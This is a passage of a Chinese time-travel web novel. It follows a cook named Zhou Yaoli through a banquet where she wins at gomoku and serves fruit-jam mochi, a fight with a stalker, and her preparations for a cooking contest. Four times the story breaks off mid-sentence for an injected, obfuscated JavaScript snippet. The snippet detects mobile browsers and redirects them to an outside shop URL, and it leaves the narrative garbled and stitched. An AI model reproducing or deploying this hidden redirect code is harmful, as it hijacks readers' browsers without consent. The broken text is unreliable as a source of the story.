周瑶理这才接过蟹灯低头仔细端详，晃动时蟹腿还会随着动作幅度摆动，好一个栩栩如生。 人姑娘独自一人在家文竹不好多待，按照吩咐送完东西后便匆匆离去。 周瑶理闩上门将蟹灯挂在梁条一抬眼就能看见的地儿，这才回到座上继续涂涂写写，时不时抬头瞧眼光亮处，兴致都好了不少。 连字帖都多写两张，下回见到瑜娘，对方又该夸她好学了。 周瑶理：势必成为沈二娘子的好好学生！ 清闲日子总是过得飞快，转眼中秋竟已过去好几天。 云禾酒馆近些时日又推出不少新品，据说全是那位新来的厨子做的。试过先前的新奇美食，大伙儿纷纷涌进酒馆，云禾的门槛差点都被踏破。 周瑶理的名气是愈发大了，连东家对她都谄媚不少，就盼着这姑娘哪天又能做出些新花样。 不过她也因此忙碌许多，沈秋瑜都不好意思来催她交字帖，生怕影响她休息。 林嘉行更是没得机会跟她见上一面，即使见着了也像相对无言。 倒是周瑶理和李莽的关系缓和不少，不再像前段时间那般，但也不尴不尬。 八月最后一次休息日，周瑶理难得陪沈秋瑜逛一回缎庄。 刚走进店就被眼前琳琅满目的绸缎晃住眼，她平日穿的都是些偏素净的交窬裙，脏了也不心疼。第一次见如此多色彩的缎子，不由得上手轻摸。 滑的，果真是好料子。 “不若瑶娘今日也挑匹料子？”沈秋瑜见她对那匹宝蓝花罗锦十分好奇，朝掌柜的使了个眼色，就见对方取出呈上。 实不相瞒，沈秋瑜此次说是让她陪着逛缎庄，其实是打算给周瑶理做套裙子。 就当是对她这段时间废寝忘食努力练字的奖励。 周瑶理被勾起心思，一问价钱，1贯50文。 好家伙，她每个月的月钱才两贯。她寻思着不买也罢，粗布麻衣也能穿。 谁知下一秒站在她身侧的瑜娘开口道，“烦请掌柜的把那匹落霞罗锦也一并取下。” 接着拿起料子边在她身上比划边同掌柜的交代，“半袖衫和交窬裙用那匹宝蓝缎，外头的褙子一定要用落霞红。” 周瑶理一听是给她做的，立马不淡定了，拉着沈秋瑜往边上走。 “一匹要100多文呢！”她不吃不喝也得攒两三个月。 没道理穿越了还得为条裙子负债。 “就当是我送你的，不行吗？” 最终她还是抵不住沈二娘子的坚持，老实巴交站在边上听沈秋瑜和掌柜的交代细节和拿取日期。 回到马车时周瑶理心慌得厉害。 从始至终她都是从瑜娘那拿到好处，从一开始的墨条到后来时常叮嘱她学文习字，再到如今。 她着实不懂，沈秋瑜为何要对她这般好？ “瑜娘每每对我这般友爱，我都不知自己如何能得此情分。”即是想到了，她也便问出口。 沈秋瑜怔住，随后想到若是有人素不相识却对自己多有关爱，估计也会慌神吧。 说来好笑，沈秋瑜这人若是在现代铁定是个不折不扣的书痴。书中自有黄金屋这话算是被她听进去了，刚启蒙时恨不得天天抱着书册睡觉。 其实她和周瑶理的初面并不在墨文坊，要再早几天。 周瑶理刚来昌南道时为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921287|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了租房，每天下班就在街上乱窜。有次瞧见几个孩童蹲在边上抱着本册子吵得叽叽喳喳，便好奇地走过去八卦。 一番询问下来得知这几个孩童都是同个书院的学生，那天夫子出了道题，几人各执己见，一路从书院吵到坊间。 “你们能先教教我这上头写的是些什么东西嘛？”一堆繁体字本就耽误她辨认，偏偏这本书册的主人字写得奇丑无比，看得她老费劲儿了。 “姐姐也喜读文吗？”边上的小郎君托腮凑近，他妹妹就不爱看书，阿娘可愁了。 “那咋了，我也是人啊！我也需要文字的滋养。”周瑶理手叉腰瞪大眼睛说道。 刚巧就被不远处的沈秋瑜听到了。 沈老太太最喜欢云禾酒馆那位李厨子做的糖醋藕，从书坊出来的沈秋瑜顺路跑了趟云禾，预备给老太太稍份儿回去。 结果刚走近拐角处就看见个和她差不多年纪的姑娘被一群小孩童围住，还听见了她的豪言壮志。 沈秋瑜瞬间觉着自己遇见同道中人了，只不过从酒馆出来那姑娘就没了踪影。 再次见到便是在墨文坊。 “吓到了吧。”沈秋瑜有些不好意思地说道。 倒也没有。 周瑶理刚开始只觉奇怪，但从未想过原因竟会如此荒唐又…可爱？ “你早说嘛！下次回礼我定给你挑本从未读过的书册。” 沈秋瑜抿嘴，她觉得瑶娘每次给她带的点心酥饼也蛮好的。 等周瑶理跳下车舆，沈二娘子方才想起最重要的事情忘了提，忙掀开帘子喊住她。 “踏秋宴？” 周瑶理现在一听到宴席两字就头大。中秋节刚过没多久，怎么又要办宴。 庆幸的是这回以宴客的身份参加，可以好好游玩一番。 可是那天她要上班。云禾最近生意火热得很，怕是抽不开身。 “不行！”王东家一听周瑶理要告假，连话都没让她继续说下去便直接拒绝了，在她边上转得跟热锅上的蚂蚁似的。 “小周，周大厨！”东家试图用周瑶理平日里最在意的大厨二字唤起她对酒馆的热爱，“你瞧瞧店里最近生意多好，此时你若是告假，后厨不乱了套！” 周瑶理看向躲在帘子后面看戏的其他人，尴尬说道，“云禾又不只我一个厨子，东家你这话让人寒心了哈。” 好说歹说东家就是不肯批假，周瑶理气急搬出沈秋瑜的名号。 “到时候席上全是富贵人家的娘子郎君，我再把食盒往那一撂，您猜怎么着！”周瑶理硬的不行来软的，拉着东家坐下慢慢忽悠。 “那些夫人小姐万一都喜欢我做的东西，您还愁云禾没有名气吗。” 周瑶理如同那神笔马良，饼画得实在美味。 掌柜的都想好了下一间分店开在哪儿了，最好能把对家的店盘下来！ “你说的对，是我老糊涂了。” 掌柜的不仅愿意放人，还让她尽管在店里拿食材，务必做出道让人心心念念的美味佳肴。 态度转变之快让人反应不过来，等人拿着算盘神神叨叨走远，周瑶理懊悔捶桌。 早说喜欢吃她画的大饼，亏得她刚刚软磨硬泡那么长时间。 18. 甜食最能收买人心 “昌南道人可真爱凑热闹。” 周瑶理挽着瑜娘从其他来参加宴席的人身边擦过，刚走近水榭台就看见不远处的亭子里已经坐着好几位年轻娘子和郎君，不禁感叹道。 “瑶娘真会说笑，”沈秋瑜听完她的话忍不住掩嘴轻笑，随后接着说，“这些个宴席是专门为未成婚的娘子郎君们办的。” 说罢又再贴近同她耳语，“年长些的夫人就喜欢给姑娘们牵红线。” 周瑶理眼珠子一转，意会地点点头。 原来是古代有钱人家的相亲大会啊！ 正说着呢，抬头便看见对面的亭子里露出个熟悉的身影朝她们颌首。 “呀，林郎君也在。”沈秋瑜倒没想过这位居然也会接下帖子。 林嘉行今天本该在家悠闲喝茶看书的，之所以会出现在这还得从前几日说起。 帖子刚送到家时他那便宜堂叔好说歹说非是让他一同前去，就当是带家中弟弟妹妹出去放放风。 话都说到这份儿上了，他也不好拒绝。 就有了眼前这一幕。 不过令他意外的是周瑶理居然也在，正想过去打个招呼却被身后李家郎子喊住，只好匆匆朝她点头后走开。 沈家二娘子名头属实大些，刚走近水榭台就有人低声舆论，纷纷看去，就连拉着林嘉行一块儿下棋去的李郎君也忍不住向那张望。 “沈小姐身旁那位姑娘瞧着面生呢，许是远方表姊妹！” 确实听说沈夫人有个面色清秀的外侄儿。 周瑶理今儿穿的是上回瑜娘给她定做的新裙子，不得不说量身定制的就是不一样！ 系统赠送的几套衣服早在搬家时就扔了，她自己买过几套，虽说算不上精致，但也算得上干净利落。 只是和高定相比，难免有些不值一提。 靠近亭子不远处就能听到嘈杂声，等她俩走上台阶又立马安静下来。周瑶理被这鬼动静闹得二丈和尚摸不着脑袋，她们又不是洪水猛兽。 “你耍赖！” 周瑶理顺着声音看去，哟？又是老熟人。 张舒棠此刻正拧眉直指对面的郎君，就差破口大骂了。 明明说好了让她一子，结果还是对她赶尽杀绝。 对面那郎子咧嘴笑话她道，“张娘子棋艺不精怎么怪我呢？” 眼瞧沈秋瑜来了，张舒棠猛地蹦起挽住她抱怨，“你终于来了，替我杀杀他的威风！” “杀他！”周瑶理也在边上悄声拱火。 虽然不认识那男人是谁，但是起哄这事儿她在行。 男子见状将棋盘上的棋子尽数拿下，只待沈二娘子落座。沈秋瑜叹气，只好赶鸭子上架般与那人手谈一局。 结果不出意料，她赢了。 接下来的几局更是毫无悬念，最后其他人实在受不了了，纷纷嚷嚷不公平。 “瑶娘要不要试试？”沈秋瑜看向身旁揣手观望的周瑶理，还以为她也想玩儿。 周瑶理连忙摆手，她哪会下围棋啊！ “我只会五子棋。”要说五子棋，她还真能自封棋圣。 说罢，边上响起陌生男声。 “我也会，我同姑娘来一局。”说话的人正是先前喊林嘉行下棋的李家郎君。 沈秋瑜起身让位，周瑶理这人也不带怵的，一扫裙摆跨步坐下，还颇有风度地向对方比了个请的姿势。 “承让了。” 咱家周姑娘不出意料赢得轻轻松松。 对面的人换了一个又一个，周瑶理坐在那儿稳如泰山，就差哼段小曲儿了。 “林郎君你来，我就不信了。” 连输三局的男人燃起莫名其妙的斗志，今儿非得让她输一局。 周瑶理闻言朝林嘉行挑眉，多一个你也不差。 “哎！怎么下这！” “落右侧还是会输。” “林郎君不行啊！” 林嘉行身后围一圈人七嘴八舌地给他出主意。 “各位郎君观棋不语哦。”周瑶理淡定落下棋子，抬眼笑得狡黠，“五子成线，林郎君又输了。” 她之前玩游戏时碰到过五子棋活动，为此专门找了策略，什么月亮阵、四方阵，就连后手阵都学了。 玩五子棋成为输方的事，她做不到。 “不愧是周姑娘，佩服。”林嘉行无奈摇头，低下眼抿嘴轻笑。 这时众人才反应过来，合着二人原是认识的！ “周姑娘？可是昌南道哪户姓周的人家？”李郎君纳闷，他怎么没印象。 “并非昌南道人，”周瑶理老实回答，“我是康乐坊云禾酒馆新来的厨子。” 众人一听，厨子啊… 李郎君瞬间失去兴致，原以为和林家言安来的那位相识定是大户人家的小姐，没想到只是厨子。 周瑶理立马明白这里头的弯弯绕绕，顿时也没有好脸色。只不过她今日是打着宣传的心思来的，不好将人得罪。 看人下菜碟的家伙，没必要多跟他浪费口舌。 沈秋瑜察觉周围的气氛冷下来，不免气愤些。 她本意是带瑶娘出来多走动，担心她天天待在厨房里闷出病来。没成想这群人给她好大个“惊喜”，竟如此将脸面丢了去。 “周姑娘的厨艺那是连沈老夫人都称赞不已的。”张舒棠跳出来说道，“金沙鸡翅听过吧。” 人群中不少人频频点头，当时谁人不知，可多小姐郎君让下人去云禾酒馆取了外食回家，确实让人唇齿回味。 “水煎包知道吗？一群土包子。”张舒棠恨不得把这些人抡圆儿了扔湖里。 站在她对面的周沈二人此时已目瞪口呆。 周瑶理没想到这位张家小姐如此讲义气，她俩也就见过一回，张舒棠竟也会为她打抱不平。 “民以食为天，若是因身份而轻看庖厨，那才是忘本。”林嘉行淡然开口，默默走离李郎君远些。 竟敢轻看他的救世主，真是好大胆子！ 周瑶理本想得过且过，不就是逞口头之风，不予理会也罢。但事到如今她不得不站出来打合场，以免事情往更糟糕的方向发展。 “瞧各位说的，我都有些不好意思了。”边说着边朝沈秋瑜的丫鬟招手。 周瑶理接过食盒，把石桌上的棋盘挪开，将食盒放下后再稳当打开。 “恰巧今天做了新品，不若各位姑娘郎君替我尝尝味道？” 青花盘子中装着一份裹了粉的团子，个头不大但好在胖圆。 围在前头的人左右相看，试图从对方眼中得知这是何物，可惜在场只有周瑶理知道。 “这是麻薯，以软糯口感取胜。”周瑶理拿过边上的竹签戳起一团递给林嘉行。 他肯定不会不给自己面子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929201|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 果然，林嘉行道谢后接过竹签。 “樱桃？”刚咬一口便尝到里头的果酱，被麻薯皮稳稳裹住的樱桃果酱此时止不住往外冒。 正是。 单就麻薯一样太过单调，她逛集市时发现了各类果子，灵机一动想到做成各种果酱，便有了果酱麻薯。 张舒棠在盖子打开时就忍不住伸头探看，这会儿更是眼疾手快抄起竹签，戳起团子往嘴里塞，下一秒惊讶地看向周瑶理。 “张娘子尝的是什么味道？”周瑶理笑着问她。 这就是盲盒的魅力，下一个永远是惊喜。 甜橙味儿的，外面的麻薯皮软糯弹牙，还有淡淡地牛乳香。 康乐坊前街就有家牛乳店，周瑶理赶早特地去买的新鲜牛乳。 其他人见状纷纷上前，生怕手慢没抢着。 “我是金桃味。” “我的是肺果！” “我也是！” 站在后头的人就没这么好运了，等他们挤上前，盘中早已光无一物。 “各位莫着急，两日后果酱麻薯会在云禾上架，不限量。”将人胃口都钓住了，周瑶理满意拍手，“届时恭候姑娘郎君们捧场。” 有幸抢到的人意犹未尽，唇齿间还停留着果酱的香甜。有人看到与周瑶理甚是交好的沈二娘子竟也未尝到，顿感扳回一城。 “沈小姐未尝到如此新奇甜物，实乃可惜。” 沈秋瑜笑得高深莫测，“我来的时候尝过了，”端起茶杯抿过继续说，“所有的口味。” 瑶娘特地给她单独备下一份。 此话一出，引得众人满眼嫉妒。 好想有个厨子朋友。 “我送你回去吧。”宴席过后林嘉行陪着周瑶理她们往外走，外头林家马车已停在门口。 周瑶理刚要开口，沈秋瑜先她一步。 “不必了，沈家马车就到。” 沈二娘子话音刚落，沈家车马停住。 “那我先走了，你有事再喊我哈。”周瑶理顺手在林嘉行胳膊拍了拍，便头也不回地随沈秋瑜离开。 等她二人离去后，文竹走上前不开心道，“这沈二娘子忒没眼力见了。” 他家郎君和周姑娘好不容易有个独处的机会，就这么被抢了！ “多话了。”林嘉行瞥他一眼，随后看向周瑶理离去的方向。 算了，她一切顺利就行。 沈家马车上。 周瑶理抱着食盒笑得摇头晃脑，没想到今天居然真能有所收获，不得不感谢瑜娘带她出来玩。 “下次这种活动还要找我哦。” 沈秋瑜笑她尽打量坑人，而后又想起件事，“今年的厨神大赛估计已经开始筹备了。” 周瑶理还在傻乐呢，瞬时严肃起来。 厨神大赛？主线任务！ “什么大赛，我怎么没听过？”周瑶理放下食盒凑近，抱着沈秋瑜的胳膊让她再说清楚点。 “雍都每两年会举办一次厨神大赛，今年正好是新一届。”沈秋瑜歪着脑袋回忆道。 她平时鲜少关心这些，只知每次厨神大赛前还会在各州县举办入选赛，只有获得第一名的庖厨才可去往下个地方参加第一场正式比赛。 系统女音在周瑶理脑中响起。 系统：“恭喜挑战者成功抵达剧情节点，请务必拔得头筹。” 19. 战力不详，但武力全开 晚上回家后周瑶理开始琢磨厨神大赛的事。 结合今天从沈秋瑜那儿得来的信息，这次比赛她必须拔头筹。不然按照两年一次的举报频率，她得再等两年，意味着还得继续过两年这样的生活。 “争气点！”她不想再继续白天黑夜都要赚钱上班了。 虽然在两个时空都有充足的睡眠，但总是觉得不得劲儿。 可惜白天太着急了，忘记问报名时间何时开始。不过后厨的其他厨子应该都知道厨神大赛，明天上班时她再问问也不迟。 第二天周瑶理难得没有踩点上工，刚进后厨就看见人都到齐了，她前脚刚踏过门槛，众人眼神齐刷刷看过来。 周瑶理疑惑，怎么大伙儿看起来都那么悠闲？ “小周来得正好，东家说今日晚点开店。”老刘乐呵地朝她招手。 东家虽然抠搜了点，但对他们还是没话说的，这不特意空出时间好让他们去报名厨神大赛。 周瑶理还没反应过来，又被人推着出门。 “老刘，咱们这是去哪儿啊？” 周瑶理拽住同样走在后头的刘师傅问道。 前头的李莽听见了，说是去报名厨神大赛。昨天周瑶理告假不在店里，东家特地交代他们早上记得等她一块儿去。 周瑶理内心狂喜，她就说后厨的各位同僚肯定不会藏着掩着。 但是报个名而已，去那么早干嘛，衙署估计还没开门呢。 “这你就不懂了。”刘师傅满脸一看你就不知情的表情，拉着她的袖子悄声说道。 纵观整个昌南道的厨子，没有一百也有八十。若是去得晚些还得排队，到时候耽误了店里开门时间，东家又要碎嘴子般叨叨半天。 衙署确实没开门，但外头已然如老六说的那样大排长龙。周瑶理他们来得不算晚，前头只排了十几个人。 刚才在来的路上她已经从老刘那得知，报名当场还有一堂测验，不过题目非常之简单，只要是个厨子就能答上来。 话是这么说，但周瑶理不免焦虑。她一个半路出家的半吊子厨师，也不知道老刘说的简单是不是在诓她。 衙署开门后排队的人陆陆续续往里走，终于轮到他们。 一进门就看到空地上放了五组桌椅，每五人一组，最前面那坐着登记姓名的衙役。 周瑶理这会儿才发现李莽没跟他们一起进来，还以为他是有事耽搁了，止不住往后探头。 “别看了，老李上一次都没参加。”老刘瞧见快排到他们，忙将打算离队的周瑶理拽回来。 李莽最后一次参加厨神大赛还是上上届的时候，止步于半决赛，至此就再也没参加过。 “周瑶理，年岁二十四。” 衙役登记好她的个人信息，抽出边上的试题交给她让她自己寻空桌子。 老刘真够义气，果然没诓她。方才拿到试题一看，周瑶理差点笑出声来。 就是一些简单的厨房小常识，难怪刘师傅让她别担心，唰唰两下周瑶理便交了卷子。 分数是当场出的，周瑶理不出意料地拿到资格板。 李莽在外头站了一刻钟不到就瞧见周瑶理满脸喜色地走出来，便知这是合格了，内心笑话她还真是小屁孩喜形于色。 “老李，你看！”周瑶理叉腰朝他亮出资格板，好不得意。 和大伙儿一起生活好几个月，她现在都开始没大没小起来，张口不是老李就是老刘。 “出来得挺快。”怕她得意忘形，李莽末了又加上句别掉以轻心。 入围赛不是闹着玩儿的，有得是经验老道厨艺精湛的师傅。 周瑶理总感觉最近哪儿不对劲，但又说不上来怪异之处，想着估计是自己太焦躁了。 州县选拔赛在月末，比赛的主题还未公布。离报名那日已过几天，她每天焦虑得睡都睡不好。 若是知道了题目还能做点准备，而如今只有张资格板，其余的一概不知。她之前又未曾参加过，自然比其他人心焦不少。 毕竟关系着她能不能顺利回去。 “我要回家…” 店里负责洒扫的婶子听见周瑶理的自言自语的哀嚎声，不由得停下动作打趣她说，“这才午时过半，周大厨就累啦。” 黄蛮坐在椅子上也阴阳怪气道，“厨神大赛本来就是高手云集的地方，有些人的雕虫小技是搬不上台面的。” 说罢还瞪了眼周瑶理的后脑勺继续冷嘲热讽，“趁早回家也算识相。” 周瑶理懒得搭理他，对方那豆瓣大小的脑瓜想来想去都是那些话。 但是口头上落下风可不行，“哎呀也不知道是谁，瞧见那水煎包就跟没吃过好东西似的狼吞虎咽。” 上回黄蛮趁她没注意，夹起水煎包就往嘴里塞，还被滚烫的汤汁烫得龇牙咧嘴。 “简直丢死人了。”周瑶理头也没回，但从声音里都能听出她现在的表情有多欠揍。 黄蛮也真是，屡战屡败但越挫越勇。回回打嘴炮都不敌周瑶理，但却次次爱挑事，这不又被她气得扔下茶杯气冲冲钻进后厨。 这会子正是馆子不忙的时候，周瑶理一到这个点就喜欢在酒馆门口台阶坐着发呆。 反正也没啥客人光临，不挡人去路的。 “小周你又坐那，赶紧起来！”王东家刚从二楼下来就看见她不知何时托腮坐在店门口，还颇悠闲地晃腿。 周瑶理只好认命站起身，边排去裤子上的灰边背对东家做鬼脸。 真是小气的老头。 恰巧这时外头有人经过，周瑶理连忙端起笑招呼，“云禾最近又上新菜色了，客官进来瞧瞧？” 对方连忙摆手匆匆离去，周瑶理又放下笑容转身进店。 她就说嘛，大下午的谁还会来吃饭，再过一个时辰就该吃晚饭了。 “郎君，我好像看见周姑娘了。”文竹侧头对着坐在舆内的林嘉行说道。 眯着眼睛看仔细了些，果真是周姑娘。 自从上回赶秋宴后他家郎君就再也没出过门，今天有兴致出门买书居然还碰上周瑶理了，他俩果然有缘！ 不对，怎么还有人鬼鬼祟祟跟在周姑娘后头。 林嘉行撩开帘子一看，文竹说得不错。 “我想起来了，那男人就是之前说要与周姑娘说媒的人。”文竹十分笃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933503|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定自己没认错人，之前他还回头看过那郎子长啥样。 就是化成灰他都不会认错的。 二人立马跳下车跟上去，等他俩赶到时正好遇上周瑶理将人踹倒在地，手上还拿着不知从哪儿顺的竹竿子。 那男的躺在地上连声求饶。 周瑶理就说最近怎的总感觉怪怪的，一直以为是自己的问题就没多放心上。 结果今日终于给她逮着罪魁祸首了。她记得这男的，近日总来店里吃饭。 但奇怪的是回回都不是饭点时候来，且每次都只点一份桂花羹便坐上半日有余。 周瑶理今日下工得早，想着家中没余粮便寻思走趟粮米铺，再顺带囤点货。不去不要紧，这一走动就发现好像有人在跟踪自己。 她警惕惯了，立马换了道没往青乌巷的方向去，转身走进另一条有遮挡的小路。 果然对方的目标是自己，对方也随她一块转换方向。 好在小路放了一运菜的大板车，周瑶理藏在板车后方观察，等对方靠近，在他还没反应过来前抡起边上的竹竿往那变态头上招呼去。 周瑶理趁胜追击，抬起脚又往对方腹部踹去，直将人踹到在地。 那男人本以为她就是一身量单薄的小姑娘，没多少力气。没想到手劲儿这么大，还好不是下死手。起身想跑的时候又挨了一竹竿，抱头滚地求饶。 周瑶理见此还不解气，上前又朝着男人腿弯处踹两下。 复尔再恶狠狠骂道，“死变态，我让你跟踪女孩子，踹不死你。” 对方居然还觉自个儿有理，抱头鼠窜间还反驳她，“明明是你撩拨在先，如今又棍棒对待，实在没道理。” 如若对他没关系，为何每次都要对他笑呢？ 周瑶理停下挥动的杆子，嘴都快气歪了。 就没见过这么不要脸的，开门做生意的哪个不是笑脸相迎，天天黑着个脸还要不要赚钱了。 “老娘笑是因为有人来酒馆吃饭，你多大脸啊。” 长得跟云禾酒馆帐台上的□□似的。 东家每次都说那是他好不容易淘来的蟾蜍，让她小孩子别乱说话。周瑶理提醒他那是赝品，东家非不信。 这下好了，招来脏东西了吧。 “以后若是再让我看到你跟踪小娘子，见一次打你一次！”周瑶理挥动手中的杆子吓唬他。 对方见状立马爬起来，连滚带爬跑出去。路过林嘉行他们时还被文竹用脚绊住，摔了个狗吃屎。 周瑶理这下才发现还站着俩人。 林嘉行看她瞧过来，默默给她竖起大拇指。他现在算是相信周瑶理的武力值，确实不需要他帮忙。 “你没受伤吧。”林嘉行走上前询问，结果被周瑶一把拍开手。 她这会儿还在气头上，看谁都不顺眼。 “有事？”周瑶理冷淡开口。 见对方无事寻她，便头也不回地走了。 只留下林嘉行尴尬抬手站在原地。 站在他身后的文竹还火上浇油般在林嘉行身上小心大量。 好险，他家郎君的身板看起来应该能扛得起周姑娘一顿揍。 20. 来人，上外挂 九月将近过半才公布本次入围赛的主题，回味。 周瑶理对着这个似是抽象的主题，心里瞬间没谱儿。单就回味二字，是字面意思还是更深层次的含义。 若只是表面意思，又有啥可以回味的？昌南道的地方菜色翻来覆去就那几样，当地人吃了一辈子，哪有什么可回味的。 自己一个人瞎折腾定是不管用的，周瑶理决定找人问问。 最先找的是来家里取字帖的瑜娘，沈秋瑜告诉她自己最近寻得本还不错的书，倒是让她回味无穷。 这是个书痴，跳过。 她又去问隔壁王婶，王婶说情窦初开时她那死鬼夫郎亲手给她做的野菜饼子让她害羞老半天，但也着实难吃得很，至今半老徐娘的年纪都还记得那个味道。 感天动地的爱情，但在厨艺大赛上做野菜饼说不过去，这个也不行。 周瑶理来来回回把能问的人都找遍了，甚至连摆摊儿卖菜的老伯都不放过，人家说中秋节时自家媳妇儿做的肉馎饦到现在他都惦记着。 还有那个之前陪她一起蹲在街角打闹的书生们也没逃过，但是都说不出来又什么可回味的。 倒是其中一个面生的小姑娘脆生生地说，“云禾酒馆的水煎包好吃，阿娘特别喜欢。” 这话引起其他的人共鸣，纷纷相约去买份儿外食带回家，几个书生吵吵嚷嚷往云禾酒馆去。 几人跑得实在太快了，周瑶理来不及告诉他们今天酒馆放假。 都不行。 各种菜名布满纸张的每个角落，又都被黑色的线重重划去。 “没时间啦！”周瑶理瘫倒在椅子上欲哭无泪。 离入围赛开始只剩十几天，她到现在都没决定好做什么菜。 想再多也没用，不如好好睡一觉。思绪到此，周瑶理钻进被窝焦虑地睡得很沉。 回到现代周瑶理还是忙得焦头烂额，一边要维护自己的账号更新频率，一边又要搜罗资料，看看哪些可以用来参赛。 人忙起来就会废寝忘食，好在母子连心。周莲莉打电话过来时，周瑶理正在剪视频。 “又没吃饭？三餐都不固定，你老了就知道后悔了。”电话一接通周莲莉劈头就是一顿骂。 “哎呀亲爱的妈妈别骂了，我等等就吃。” 她就知道她妈妈打电话过来准没好事，估计又间歇性看她不爽，打个电话过来骂两句。 周瑶理想到自己的比赛，丢下鼠标问起她妈妈这辈子有什么值得她回味的东西。 “吃的？你老妈又不挑食。”周莲莉沉思半天也想不出这辈子有什么值得她回味的饭菜。 不过周瑶理第一次做的中式汉堡确实让她印象深刻。 当年小升初结束，周瑶理成绩不错，周妈妈给她买了块手表做奖励。彼时还是小学生的周瑶理非常懂得感恩，硬是要做顿饭犒劳辛苦的老妈。 人生第一次下厨的她十分具有创意，直接去麦某劳买个汉堡回来，把里面的鸡排私吞之后，往汉堡胚里夹了块自己煎的，硬得可以撬动牙齿的猪排。 周莲莉发誓，那是她这辈子吃过最硬的猪排，刚镶好的牙差点都咬碎了。 周瑶理哈哈尴尬一笑。 聊会儿天而已，干嘛挖她的黑历史！ “我还是自己想想吧，挂了。” 挂完电话后她顺手往上翻动聊天记录，猛地看见中秋时她妈妈发给她的照片。 「阿妈：今天煮鱼片汤。」 她想到要做哪道菜参赛了。 只是想法容易实践难，等周瑶理从鱼摊上拉了条鱼回家，对着活蹦乱跳的鱼束手无策时才发现，这么久了她竟然还没做过鱼。 平时老刘做鱼生时她也看过，总觉得看着蛮简单，没想到自己宰鱼时居然卡在第一步。 不是已经上岸了吗，这鱼怎么还在动？ 周瑶理没办法只好又拎着鱼出门，敲开隔壁家的门。 王婶打开门迎面而来就是一条胖鱼，着实吓着。问清楚后笑得直不起来，原是隔壁小周被这鱼折磨得实在没办法了，过来求助她来了。 “不就是鱼吗，瞧把你愁的。”王婶接过鱼笑着说。 确实简单，但不是周瑶理想要的做法。 王婶将打过麟的鱼开膛破肚简单处理过后，手起刀落间完整的鱼瞬时均分几块。 昌南道人除了鱼生，平时也爱煮鱼汤。 起锅烧油，磕蛋敲出锅中，趁成型前分成小块盛出。 用热油煸煎鱼块再倒入滚烫的开水，瞬时鱼汤变得像牛乳那般奶白。与此同时再丢入几瓣姜片去腥，最后倒入刚煎好的鸡蛋块，出锅前撒点盐即可。 来都来了，王婶干脆让她留下来一块儿吃饭。周瑶理也不客气，回家取了其他食材过来。 两人搭配干活速度都快不少，不多时三菜一汤便上了桌。 “好久没喝鱼汤了！”周瑶理接过盛满汤的碗小心翼翼啄了口，随后感慨道。 鱼腥味被姜片冲去，唇齿只留下鱼肉的鲜甜滋味。 行吧。 虽然不是她想要的做法，但也蛮好吃的。 不对，现在不是悠闲品鱼的时候啊！ 周瑶理晚上刚躺下，又焦虑得爬起来抱着枕头恨不得砸死自己。 看来只好使出杀手锏了。 两眼一睁就是自己在现代的家，周瑶理立马从床上弹起来，简单捯饬一下便往菜市场赶。 之前还在家的时候就听妈妈说过，早市里可多新鲜的鱼，都是刚从渔船上拉回来的。 挑挑选选买了条看起来还不错的鱼，心满意足回去。 一回到家周瑶理马不停蹄给周莲莉发信息，询问怎么片鱼。 周妈妈片鱼的那叫一个精湛，下手之处绝无鱼骨侥幸逃脱。 信息刚发过去，周妈妈便发来长串语音，周瑶理听了半天也只是一知半解。 折腾半天都快到中午了，那条鱼还完好无损地躺在水槽里吐泡泡。 过午，周妈妈发来条视频。 周瑶理打开，发现她妈妈这么久没回信息原来是去超市买鱼了。 “也不知道你这孩子听没听懂，反正也是闲着，我就上超市随便买条鱼回来给你录个视频。” 周莲莉边忙着把鱼敲晕边絮絮叨叨说道。 “瞧好了，从边上划一刀再拐一下，鱼肚啥的不都处理干净了吗。” 片鱼也简单，刀面平放贴着鱼骨慢慢深入，最后一撕拉就能完整拽下一面鱼肉。 “残留的细小鱼刺挑出来就行…你这老头让你拍鱼，老拍我干嘛！” 周瑶理无语，她爹估计又找骂了。 好在小插曲不长，视频又回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938649|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 